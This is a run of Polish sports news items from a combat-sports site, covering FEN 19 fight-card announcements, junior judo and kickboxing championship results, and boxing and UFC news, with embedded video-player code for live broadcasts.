Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz czwarty w karierze. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 30-letniego „Aresa” budzi ogromne zainteresowanie kibiców. To będzie jego drugie starcie w 2017 roku i drugie w barwach FEN.
– Doświadczenie przemawia za Błeszyńskim, bo to „stary wyga”, co pokazał chociażby w Koszalinie. Łopaczyk to wulkan pozytywnej energii i wiecznie uśmiechnięty gość, który właśnie z uśmiechem na ustach rozprawia się z kolejnymi rywalami. Rozwija się w błyskawicznym tempie, ale teraz stanie naprzeciw człowieka-skały. Zobaczymy, sam jestem ciekawy jak to się skończy – powiedział Paweł Jóźwiak, prezes FEN.
Czwarte zestawienie FEN 19 „Bitwa o Wrocław” jest już zatem znane. Czekamy na odkrycie kolejnych kart!
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl,
Stało się! Paweł „Trybson” Trybała (3-2, 3 KO) został nowym zawodnikiem federacji Fight Exclusive Night. W „Bitwie o Wrocław” zobaczymy Różę Gumienną (8-0) oraz Arkadiusza Wrzoska (7-3).
„Trybson” był jednym z uczestników „Summer Camp”, czyli obozu zorganizowanego przez FEN w sierpniu. Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie. – Czemu nie? Jest taki pomysł, pracujemy nad tym. Zobaczymy co się wydarzy. Paweł chce się bić, jest szalenie ambitny. Wierzę w niego, to fajny chłopak i perspektywiczny zawodnik.
Sam „Trybson” angażem w federacji FEN spełnia swoje marzenia, sam powiedział w jednym z wywiadów, każdy kolejny pojedynek to dla niego misja, którą ma zamiar przejść bez szwanku. – Obiecałem córeczkom, że będę wojownikiem i będę walczył. Przegrać nie mogę, bo dałem słowo. Czekam na kolejny pojedynek, kto wie, być może nawet we Wrocławiu? – zakończył.
Kolejne starcie w oktagonie FEN stoczy Róża Gumienna. Przyszła pani doktor Wychowania Fizycznego będzie broniła mistrzowskiego pasa federacji w K-1. Limit wagowy tego starcia to 65 kilogramów. – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław”.
Arkadiusz Wrzosek nudy nie lubi i nudzić nie zamierza się przez najbliższe pięć tygodni, kiedy to wejdzie w decydującą fazę przygotowań do FEN 19. Po pewnym zwycięstwie w połowie marca na warszawskim Torwarze stoczył jeszcze dwa pojedynki i oba wygrał przed czasem. Mimo tego, że w październiku zobaczymy go już po raz czwarty, to sam podkreśla, że jest głodny kolejnych pojedynków i na pewno zrobi wszystko, aby to jego ręka była po walce w górze.
– O walce wiem już od kilku tygodni, trenuję w pocie czoła, by móc cieszyć się ze zwycięstwa. Jestem zdrowy i mentalnie gotowy na wszystko. Wygram! – zapowiada pewny siebie Wrzosek.
Czekamy na decyzję, czy „Trybson” wystąpi we Wrocławiu, rywalkę dla Gumiennej i przeciwnika Wrzoska. Karta 19. edycji zapełnia się coraz bardziej. Kolejne informacje na temat „Bitwy o Wrocław” wkrótce.
Nassourdine Imavov (2-1, 1 KO, 1 SUB) skonfrontuje się z Michałem Michalskim (5-2, 2 KO, 1 SUB) podczas FEN 19 „Bitwa o Wrocław”. Pojedynek na zasadach MMA odbędzie się w kategorii do 77 kilogramów.
Nassourdine Imavov to młodszy brat Daguira, który jest znaną postacią dla wszystkich kibiców mieszanych sztuk walki w Polsce. Starszy z braci najpierw wygrał podczas 16. edycji z Bartłomiejem Koperą, by dwie galę później w Koszalinie rozprawić się z Kamilem Łebkowskim. Za każdym razem do Polski przylatywał ze swoim młodszym bratem, który teraz dostanie szansę zadebiutowania w oktagonie FEN. Nassourdine w swoim dorobku ma trzy zawodowe walki, w tym dwie zwycięskie. W marcu 2016 roku pokonał przez poddanie Saida Magomeda Tachaeva, rok później skończył przez TKO w pierwszej rundzie Paula Lawrence’a. Żaden z jego pojedynków nie wyszedł nawet poza pierwsze starcie.
Jego rywalem będzie Michalski, czyli stary-dobry znajomy federacji FEN. Michał zadebiutował jeszcze w białym klatkoringu podczas 5. edycji, kiedy to wygrał z Adamem Niedźwiedziem. Swoją szansę dostał podczas kolejnej gali, kiedy pokonał Mariusza Radziszewskiego . Na FEN 9 „Go For It” zwyciężył z Rafałem Blachutą. Jego jedynym pogromcą podczas występów dla Fight Exclusive Night jest Davy Gallon.
– Daguir polecił mi swojego brata, który jego zdaniem będzie w przyszłości lepszy od niego. Warunki fizyczne ma imponujące, widziałem go podczas kilku treningów – chłopak robi ogromne wrażenie. Skonfrontuje się z Michałem Michalskim, którego rok w naszej federacji nie było, ale który jest bardzo doświadczony i głodny kolejnych pojedynków. Kto wygra? Gdybym wiedział, to pewnie bym obstawił werdykt tego pojedynku u bukmachera. Nie wiem, naprawdę nie mam pojęcia. Szykuje się ciekawe starcie – zapowiada ten pojedynek Paweł Jóźwiak.
Znamy już zatem pięć pojedynków FEN 19 „Bitwa o Wrocław”. Kolejne zestawienia zostaną podane w kolejnych tygodniach.
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Arkadiusz Wrzosek (7-3) stanie przed szansą wywalczenia pasa federacji FEN w wadze ciężkiej w formule K-1. Jego rywalem będzie Nikolaj Falin (40-13). We Wrocławiu zobaczymy zatem rewanż, gdyż obaj panowie zmierzyli się już podczas FEN 11.
W pierwszm starciu górą był reprezentujący Niemcy Falin, który wygrał przed decyzję sędziów. Wrzosek w tamtym pojedynku pokazał się z dobrej strony, ale górę wzięło doświadczenie, które było po stronie o jedenaście lat starszego Falina.
25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. O starciu w Hali Orbita, jak sam przyznał w jednym z wywiadów, dowiedział się dużo szybciej, więc będzie przygotowany na sto procent na to, by podbić Wrocław. Warto dodać, że od porażki z Falinem jest niepokonany.
– Walka o pas dodatkowo mnie motywuję. Wiem, że jestem gotowy na każdego rywala. Młody chłopak idzie po raz pierwszy na trening, by zdobywać trofea. Dla mnie perspektywa wywalczenia pasa FEN to coś, co dodaje mi siły podczas każdego treningu – powiedział Wrzosek.
Liczący 36 lat Nikolaj Falin to postać doskonale znana w europejskim kickboxingu. Urodzony w Kazachstanie fighter był zawodowym mistrzem Niemiec IKBO. W 2011 roku triumfował w piątej edycji turnieju Bigger’s Better w Aarhus w Danii. Prowadzony przez polskiego trenera Franka Lukanowskiego zawodnik wygrał 40 pojedynków, a 13 przegrał. 14 razy nokautował swoich rywali. Od czasu pojedynku z Wrzoskiem do klatki wyszedł raz. W Polsce wygrał w pamiętnym pojedynku z Michałem Turyńskim.
– Trofeum w puli zawsze generuje olbrzymie emocje. Kibice Wrzoska, których pewnie znowu będzie mnóstwo na trybunach, zacierają ręce, bo ich ulubieniec znowu będzie chciał skraść show podczas FEN. Myślę, że to może być najlepszy pojedynek podczas całej gali – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Zapraszamy na transmisję telewizyjną na żywo z XXVII Warszawskiej Grandy na Pięści i Giry.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Z jednym medalem zakończyli Polacy rywalizację w mistrzostwach Europy juniorów w judo, które odbyły się w Mariborze. Na sam koniec zmagań zaprezentowały się nasze drużyny, jednak wypadły blado.
Biało-czerwoni mieli kilka szans medalowych, jednak tylko Julia Kowalczyk (57kg) stanęła na trzecim stopniu podium.
Trzy „piątki”
Z pewnością w skali szkolnej piątka to spełnienie marzeń i wielka radość. Jednak w przypadku rywalizacji na tatami jest zupełnie odwrotnie. Zajęcie piątego miejsca to dla zawodnika najgorszy z możliwych wyników.
Anita Formela (+78kg) rywalizację w Mariborze zaczęła wręcz znakomicie, bo dwie walki wygrała przed czasem. Ubiegłoroczna brązowa medalistka mistrzostw Europy juniorów przegrała w półfinale z mistrzynią Europy kadetek Romane Dicko. W starciu o brąz Formela została w końcówce zdyskwalifikowana, a miała na swoim koncie dwa waza ari. Brązową medalistką została Turczynka Kubranur Esir.
Świetnie przygodę z mistrzostwami Europy rozpoczął Kacper Szczurowski (100kg), który w zaledwie osiem sekund rozłożył na łopatki Bośniaka Hadisa Jerlagicia. Łącznie stoczył cztery walki, z których wygrał dwie. W starciu o brąz Szczurowskiego pokonał Daniel Mukete. Dwa pojedynki wygrane przed czasem dawały nadzieję na sukces Jakuba Ozimka (90kg). W półfinale Polaka zatrzymał Mykyta Matlashevskyi. Ozimek stoczył mordercze starcie o brąz, ale po siedmiu minutach triumfował Jamal Petgrave.
Jedyny medal dla Polski wywalczyła Julia Kowalczyk (57kg), dla której było to trzecie z rzędu podium mistrzostw Europy juniorek. W Mariborze w decydującym starciu niespełna 20-letnia judoczka pokonała Jorien Visser. Pisaliśmy o tym tu. https://fightime.pl/pl/wiadomosci/kowalczyk-z-brazem-mistrzostw-europy/
W klasyfikacji medalowej trwała walka między Rosją a Azerbejdżanem. Ostatecznie lepsi okazali się reprezentanci Sbornej, którzy zdobyli dziewięć krążków (3 złote, 3 srebrne i 3 brązowe). Azerbejdżan zanotował siedem medali (3,2,2). Trzecie miejsce w klasyfikacji końcowej dla Francji, która wywalczył siedem krążków (3 złote i 4 brązowe).
Francja i Azerbejdżan mają najlepsze drużyny
Reprezentacja Polski juniorek walkę w Drużynowych Mistrzostwach Europy rozpoczęła od starcia z Holandią. I na tym ją zakończyła… Polki przegrały 1:4, a zwycięstwo zanotowała Anita Formela. Szczęścia nie mieli również nasi juniorzy. Polacy trafili na mocnych Rosjan i przegrali 1:4.
Wśród kobiet triumfowały Francuzki, które w decydującym starciu pokonały Holenderki. Brązowe medale wywalczyły reprezentacje Rosji i Niemiec. Najlepszą męską drużynę ma Azerbejdżan, który w finale uporał się z Gruzją. Na trzecich pozycjach uplasowali się Brytyjczycy i Rosjanie.
Fot. pzjudo.pl
KM
Julia Kowalczyk (57kg) wywalczyła brązowy medal mistrzostw Europy w judo, które odbywają się w Mariborze. Tym samym zawodniczka Polonii Rybnik powtórzyła ubiegłoroczny sukces z Malagi.
Kowalczyk sprawiła sobie wspaniały prezent na 20. urodziny, które będzie obchodziła za dwa tygodnie. Reprezentantka Polki udowodniła, że jej wcześniejsze wyniki nie były dziełem przypadku.
Brąz jej się trzyma
Kowalczyk zbiera dobre recenzje i na tatami radzi sobie coraz lepiej. Rok temu sprawiła sensację zdobywając mistrzostwo Polski w kategorii 57kg. 19-latka pokazała, że jest gotowa do rywalizacji na poziomie seniorskim. Najlepszym potwierdzeniem był tegoroczny występ w Grand Slam w Baku, gdzie Polka sięgnęła po brąz. Kowalczyk znalazła się również w drużynie, która w Warszawie wywalczyła srebro mistrzostw Europy. Judoczka z Rybnika miała okazję zaprezentować się w finałowym boju z Francją (0:5), a indywidualnie odpadła w 1/16 finału. Kolejne tegoroczne starty to występy w zawodach juniorskich. W pucharowych zmaganiach w Leibnitz i Gdyni 19-latka stawała na podium, odpowiednio zajmując trzecie i drugie miejsce.
W związku z osiąganymi przez Kowalczyk wynikami, nie było wątpliwości, że w Mariborze będzie walczyła o medal. W pierwszej walce odprawiła mistrzynię Europy kadetek z ubiegłego roku Gruzinkę Eteri Liparteliani. Iva Oberan nie była w stanie przeciwstawić się Polce, która wygrała przez waza ari. Ciężko było w półfinale. Kowalczyk nie udało się znaleźć recepty na Larissę van Krevel, która zanotowała dwa waza ari, a nasza zawodniczka jedno. Starcie o brąz było niezwykle wyczerpujące. Blisko siedem minut trwała walka Polki z Jorien Visser, ale to Kowalczyk mogła cieszyć się z medalu.
Dla młodej Polki to kolejny medal mistrzostw Europy juniorów. Trzeci z rzędu, ponownie brązowy. I jak tu nie wierzyć słowom piosenki Ryszarda Rynkowskiego? A tak poważnie, Julia Kowalczyk pokazała, że jest powtarzalna. Oby takie wyniki notowała jak najczęściej w startach seniorskich.
Czekamy
Polska ma szansę na poprawienie dorobku medalowego w Mariborze. Na walki o brąz czekają Anita Formela (+78kg) i Kacper Szczurowski (100kg).
Jak wypadli pozostali młodzi Polacy? Paulina Dziopa (78kg) pokonała Darię Kantsavayę z Białorusi, ale w kolejnej walce po niecałej minucie schodziła z tatami jako przegrana. Lepsza od Polki okazała się Niemka Lea Schmid. Sebastian Marcinkiewicz (81kg) zanotował jedną wygraną, a jego udział w mistrzostwach zakończył późniejszy brązowy medalista Jesper Smink. Dwie walki stoczył również Cezary Tchórzewski (73kg).
Na podium nie znalazł się Jakub Ozimek (90kg). W starciu o brąz górą był Brytyjczyk Jamal Petgrave.
Bez zwycięstwa rywalizację w Mariobrze zakończyli: Klaudia Cieślik (52kg), Anna Dąbrowska (57kg), Aleksandra Kaleta (52kg), Daria Tymann (78kg), Eliza Wróblewska (78kg), Dominik Majowski (100kg) i Krzysztof Załęczny.
KM
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Juniorów JUDO. Zawody odbywają się w malowniczym Mariborze. Zapraszamy!!!
[kod]
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Juniorów JUDO. Zawody odbywają się w malowniczym Mariborze. Zapraszamy!!!
[kod]
Main Stream – z komentarzem
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Juniorów JUDO. Zawody odbywają się w malowniczym Mariborze. Zapraszamy!!!
[kod]
TEAMS
Tatami1
Tatami2
Tatami3
Tatami4
PREMIERA: Zapraszamy do obejrzenia premierowego drugiego odcinka programu z serii PZKB TV. Tym razem gośćmi są Krzysztof Kaproń – Członek Zarządu PZKB oraz Przemek Ziemnicki – Trener i Zawodnik.
[kod]
Niby zakończył karierę, jednak nikt nie ma pewności, czy ten stan się niebawem nie zmieni. Tyson Fury pojawił się na sali treningowej po dłuższej przerwie. Czy to jasny sygnał, że zamierza wrócić na ring?
Wokół 29-letniego olbrzyma z Wilmslow zawsze jest sporo zamieszania. Jesienią ubiegłego roku bokser ujawnił problemy, z którymi się zmagał i usunął się w cień. Nie na długo…
Już miał wracać
Ponoć kobiety ciągle zmieniają zdanie i nie mogą się zdecydować, czego chcą. Okazuje się, że niekoniecznie. Ten stereotyp stara się skutecznie obalić Tyson Fury. Blisko dwa lata temu stał się królem boksu, gdy w Dusseldorfie pokonał Władimira Kliczko i przerwał jego hegemonię w wadze ciężkiej. Zgarnął wszystko i został mistrzem świata federacji WBA, IBF i WBO. Cały świat był u stóp Fury'ego, który przystał na opcję rewanżu z Władimirem Kliczko. Stracił pas IBF, bo odmówił starcia z obowiązkowym pretendentem Wiaczesławem Głazkowem. Niby wszystko układane było pod rewanż z Władimirem Kliczko, ale do tej walki nie doszło. Terminy ustalone, ale w ostatniej chwili Fury tłumaczył się kłopotami zdrowotnymi. W końcu problemy Brytyjczyka ujrzały światło dzienne. Alkohol, narkotyki, depresja… Najbliżsi obawiali się o zdrowie i życie boksera.
Sam Fury pogubił się w całej sytuacji. Nie uniósł ciężaru sukcesu i z każdym dniem brnął coraz dalej z uzależnienie i walkę ze światem. Przyzwyczaił wszystkich do ostrej retoryki i nawet w takiej sytuacji jej nie unikał. W październiku ubiegłego roku podjął decyzję o zakończeniu kariery, a boks określił mianem „gów..”. Wystarczyło kilka tygodni, a kierunek, który obrał były mistrz świata wagi ciężkiej uległ totalnej zmianie. Fury snuł wizje na temat swojej walki z Anthony'm Joshuą. Poinformował nawet, że starcie odbędzie się w kwietniu przyszłego roku na stadionie Wembley. Niektórzy już ostrzyli sobie zęby. A w lipcu… Na jednym z portali społecznościowych Fury podziękował kibicom w pięknej podróży.
Chyba nie ma osoby, która byłaby w stanie określić, ile razy 29-latek zmieni jeszcze decyzję. Ostatnio poinformował, że nie wyklucza powrotu na ring. Musi tylko odzyskać licencję bokserską i zbić wagę. Pojawił się również na sali treningowej w Belfaście, co również może sugerować, że wcześniejsze deklaracje nie były czczym gadaniem. Ale czy w przypadku Fury'ego można mieć jakąkolwiek pewność?
Mistrz wierzy w powrót rodaka
Czempion IBF, IBO i WBA Anthony Joshua, który przygotowuje się do październikowej walki z Kubratem Pulewem nie wyklucza, że Tyson Fury wróci na ring. – Całe życie oddajesz boksowi. Możesz mieć rok lub dwa przerwy, ale wrócisz do tego – podkreśla 27-latek.
KM
W lipcu awansowała na podium wagi słomkowej i poczuła zapach pasa mistrzowskiego. Czy będzie w stanie wyrwać go Joannie Jędrzejczyk? 4 listopada w Madison Square Garden Polka stanie do boju z Rose Namajunas.
Mistrzyni UFC ma status gwiazdy kobiecego MMA. Kolejną zawodniczką, która chce podjąć próbę zrzucenia jej z piedestału jest Rose Namajunas.
Jedna Polka utarła jej nosa
Zarówno Jędrzejczyk, jak i Namajunas rywalizowały z Karoliną Kowalkiewicz i Carlą Esparzą. Z tym, że Polka wychodziła zwycięsko z tych starć, a Amerykanka notowała porażki. W lipcu 2016 w Atlancie Namajunas stoczyła zacięty bój z Karoliną Kowalkiewicz. Panie rozpoczęły spokojnie, a w drugiej rundzie dały pokaz tego, co w kobiecym MMA najlepsze. Lepiej prezentowała się Polka, która skutecznie broniła się przed sprowadzeniami, atakowała kolanami i włączała mocne łokcie. W trzeciej odsłonie Polka kontynuowała strategię, a Namajunas starała się zaskoczyć łodziankę w parterze. Kowalkiewicz wygrała niejednogłośną decyzją sędziów.
Z kolei z Esparzą 25-latka spotkała się w 2014 roku w finale program The Ultimate Fighter. Namajunas wygrała trzy walki, pokonując: Alex Chambers, Joannę Calderwood i Randę Markos. W decydującym starciu przegrała w trzeciej rundzie z Carlą Esparzą, która została pierwszą mistrzynią kategorii słomkowej.
A Jędrzejczyk ma na rozkładzie zarówno Esparzę, jak i Kowalkiewicz. Tą pierwszą znokautowała 14 marca 2015 roku i jest to wyjątkowa data, bo wtedy olsztynianka sięgnęła po pas w kategorii słomkowej. Od tamtego czasu Joanna Jędrzejczyk jest rozpędzona i zachwyca wszystkich obserwatorów swoimi umiejętnościami. Polka pięć razy skutecznie broniła pasa mistrzowskiego. W szóstej spotka się z Amerykanką, która swoją przygodę ze sportami walki zaczęła w wieku pięciu lat. Najpierw trenowała taekwondo, a następnie karate i jiu-jitsu.
W tym roku Rose Namajunas pokonała Michelle Waterson i zapisała na swoim koncie szóste zwycięstwo w karierze. Co ciekawe, jeszcze nigdy pojedynek z udziałem Amerykanki nie zakończył się nokautem. Aż pięć walk Namajunas wygrała przez poddanie. Z kolei Jędrzejczyk jest zawodniczką znakomicie przygotowaną kondycyjne do rywalizacji. Ostatnie cztery walki wygrała po upływie pięciu rund.
Powrót St. Pierre'a
Podczas gali UFC 217, która odbędzie się 4 listopada w Nowym Jorku 28 walkę w karierze stoczy legendarny Georges St. Pierre. 36-letni Kanadyjczyk dwukrotnie zdobywał pas wagi półśredniej. Po raz ostatni St. Pierre walczył w listopadzie 2013 roku, kiedy pokonał Johny'ego Hendricksa. W Nowym Jorku zmierzy się 38-letnim Michaelem Bispingiem, który jest mistrzem wagi średniej.
KM
Obok Pawła „Trybsona” Trybały nie można przejść obojętnie. Co i raz wokół zawodnika robi się głośno. Tym razem o „Trybsonie” na płaszczyźnie sportowej – Trybała podpisał umowę z federacją Fight Exclusive Night.
Ostatnio 26-latek prezentował się na galach PLMMA, ale nie brakowało głosów o problemach finansowych organizacji. Niewykluczone, że Trybała w nowej federacji zadebiutuje już 14 października.
„Trybson” przyciąga
Paweł Trybała popularność zdobył występując w jednym z programów rozrywkowych. Stał się bohaterem portali plotkarskich, co przełożyło się na jego rozpoznawalność. Postanowił spróbować swoich sił w MMA. Do historii przejdą jego utarczki słowne z Marcinem Najmanem, podczas których panowie nie szczędzili sobie uprzejmości. Na czerwcowej konferencji prasowej w Toruniu, zapowiadającej październikową galę PLMMA 74, „Trybson” rzucił w Najmana… słomką ptysiową. Omal nie doszło do rękoczynów.
Trybała znany jest z ostrego języka i porywczego zachowania, ale teraz ma rozpocząć nowy rozdział w karierze. W sierpniu wziął udział w obozie treningowym FEN. Zaprezentował się na tyle dobrze, że organizacja postanowiła podpisać z nim kontrakt. – Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie – poinformowała organizacja Fight Exclusive Night.
Teraz przed Trybałą praca nad kondycją. Co do jego występu we Wrocławiu nie zapadły żadne decyzje. Ale walka „Trybsona” mogłaby być prawdziwym magnesem dla miłośników MMA. Po raz ostatnim Trybała rywalizował w maju na gali PLMMA 73. Przegrał przez poddanie z Adamem Niedźwiedziem, zaś w marcu szybko uporał się z Pawłem Bolanowskim.
Gwiazd nie zabraknie
14 października mistrzowskiego pasa FEN w K-1 w wadze piórkowej będzie broniła Róża Gumienna. Wrocławianka wywalczyła tytuł w styczniu w Lubinie, gdzie pokonała Martinę Fendrichovą. Podczas FEN 19 będzie broniła pasa po raz pierwszy.
We Wrocławiu zaprezentuje się również Arkadiusz Wrzosek (K-1, +95kg). W marcu, na FEN 16, pokonał Artur Bizewskiego jednogłośną decyzją sędziów.
W walce wieczoru gali FEN 19 „Bitwa o Wrocław” mistrz wagi piórkowej Paweł Biszczak zmierzy się z Wojciechem Wierzbickim.
Fot. Facebook
KM
To jest dopiero dorobek! Te liczby robią ogromne wrażenie i pokazują, że polski kickboxing ma mocny fundament. W mistrzostwach Europy juniorów i kadetów w Skopje Polacy zdobyli 66 medali. Najlepsi w całym turnieju byli Rosjanie – 135 krążków.
Biało-czerwoni zajęli 10. miejsce w klasyfikacji medalowej, choć pod względem liczby zdobytych medali byli trzeci. O kolejności zadecydowały krążki z najcenniejszego kruszcu. Tych Polacy zdobyli dziewięć.
Są powody do radości
Ile razy załamujemy ręce w przypadku naszych narodowych i niezwykle popularnych dyscyplin? Jeszcze kiedyś śpiewaliśmy „Polacy nic się nie stało”. Teraz sytuacja jest zgoła odmienna. Jednak w przypadku innych dyscyplin należy spuścić zasłonę milczenia. Ostatnie występy siatkarzy i koszykarzy rozczarowały. A nasi kickboxerzy zawsze spisują się na medal. Niezależnie, czy mówimy o kadetach, juniorach czy seniorach.
Tym razem mowa o tych dwóch pierwszych kategoriach wiekowych. Początek września to podróż 150-osobowej reprezentacji Polski kadetów i juniorów do Skopje. W stolicy Macedonii łącznie zaprezentowało się ponad 1500 zawodników. Polacy zakończyli rywalizację z dorobkiem 66 medali, w tym 9 złotych, 11 srebrnych i 46 brązowych. Najwięcej, bo cztery krążki z najcenniejszego kruszcu, biało-czerwoni wywalczyli w formule kick light. Na najwyższym stopniu podium stanęli: Klara Piętak (65kg, junior), Krzysztof Łuniewicz-Stępniak (74kg, junior), Michał Adamek (94kg, junior), Jonatan Babińczuk (52kg, kadet starszy). W low-kicku po złoto sięgnęli Zuzanna Matusiewicz (70kg, junior starszy) oraz Michał Kuźniak (81kg, junior młodszy), a w full contact – Jolanta Cichoń (+70kg, junior starszy) i Kacper Dąbrowski (91kg, junior starszy). Z kolei w light contact triumfował Cezary Pleta (94kg, junior).
O ocenę startu biało-czerwonych poprosiliśmy prezesa Polskiego Związku Kickboxingu Piotra Siegoczyńskiego. – Zdobyliśmy dużo medali, ale mogliśmy jeszcze więcej wycisnąć. Mistrzostwa Europy są specyficzną imprezą, więc cieszymy się z tego, co osiągnęliśmy. Mocno obsadzone były kategorie w formułach pointfighting i light contact. W niektórych walkach sędziowie wydali wątpliwe werdykty – powiedział nam trzykrotny mistrz świata.
Dobre widoki na przyszłość
Młodzi kickboxerzy dają nadzieję, że w kolejnych latach możemy być spokojni o sukcesy. – To musi być dobrze wyglądająca piramida. Szkolimy zawodników, aby doskonalili się i odnosili sukcesy również na poziomie seniorskim. Teraz uważnie będziemy przyglądać się juniorom. Ważne, żeby się pokazywali i zdobywali doświadczenie – mówi Piotr Siegoczyński.
Pierwsza trójka mistrzostw Europy: Rosja (135 medali, – 57, 45, 33), Węgry (72 – 20, 22, 30) i Włochy (60 – 18, 17, 25).
KM
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski w Kickboxingu Seniorów i Weteranów w formule Light-Contact. Zawody odbędą się w dniach 16-17 września 2017 r. we Włoszakowicach.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_KickLight_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_KickLight_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_KickLight_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_KickLight_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Bardzo dobry występ polskich judoków w Pucharze Europy w Bratysławie. Biało-czerwoni wywalczyli sześć medali, w tym jeden złoty. Większą zdobyczą mogą pochwalić się tylko Włosi, którzy na swoim koncie zapisali dziewięć krążków.
Ilość nie przekłada się na miejsce w klasyfikacji medalowej. Polacy zajęli szóstą pozycję, z kolei Włosi piątą. Najlepsi okazali się Słoweńcy, którzy zdobyli trzy złota. Za nimi Holendrzy z sześcioma medalami, w tym dwoma z najcenniejszego kruszcu. Na najniższym stopniu podium znalazła się Ukraina (cztery medale, w tym dwa złote).
Złoto Golusa
W Bratysławie największy sukces w karierze odniósł Łukasz Golus (66kg). Cztery wygrane walki pozwoliły 26-letniemu zawodnikowi uplasować się najwyższym stopniu podium. Na początek judoka GKS Czarni Bytom pokonał Ukraińca Oleksandra Moisei, a następnie Węgra Akosa Barthę. W półfinale Golus trafił na Włocha Biagio Stefanelliego, który w tym roku zajmował siódme miejsca w Dubrovniku i Bukareszcie. Polak wygrał przez waza ari, z kolei w finale uporał się z Serbem Iliją Ciganoviciem. Dla 26-letniego Golusa Bratysława to wyjątkowe miejsce. Na Słowacji startował dwa i trzy lata temu, ale zajmował wtedy odpowiednio siódme i piąte miejsce.
W kategorii 66kg na podium zameldował się również Jacek Brysz. Po dwóch wygranych walkach, 28-latek musiał uznać wyższość późniejszego finalisty Ciganovicia. W repasażach Brysz zanotował dwie wygrane, pokonał m.in. Bartosza Dobranowskiego. A w starciu o brąz okazał się lepszy od Włocha Stefanelliego, który wcześniej przegrał z Golusem. Warto dodać, że na siódmych lokatach uplasowali się wspomniany Dobranowski i Arkadiusz Makarewicz.
Brąz dla Bartłomieja Garbacika (60kg). 25-latek powtórzył sukces sprzed dwóch lat, kiedy w Bratysławie również znalazł się na najniższym stopniu podium. Na drodze Polaka do finału stanął David Starkel. W starciu o brąz Garbacik przed czasem pokonał Czecha Michala Cernego.
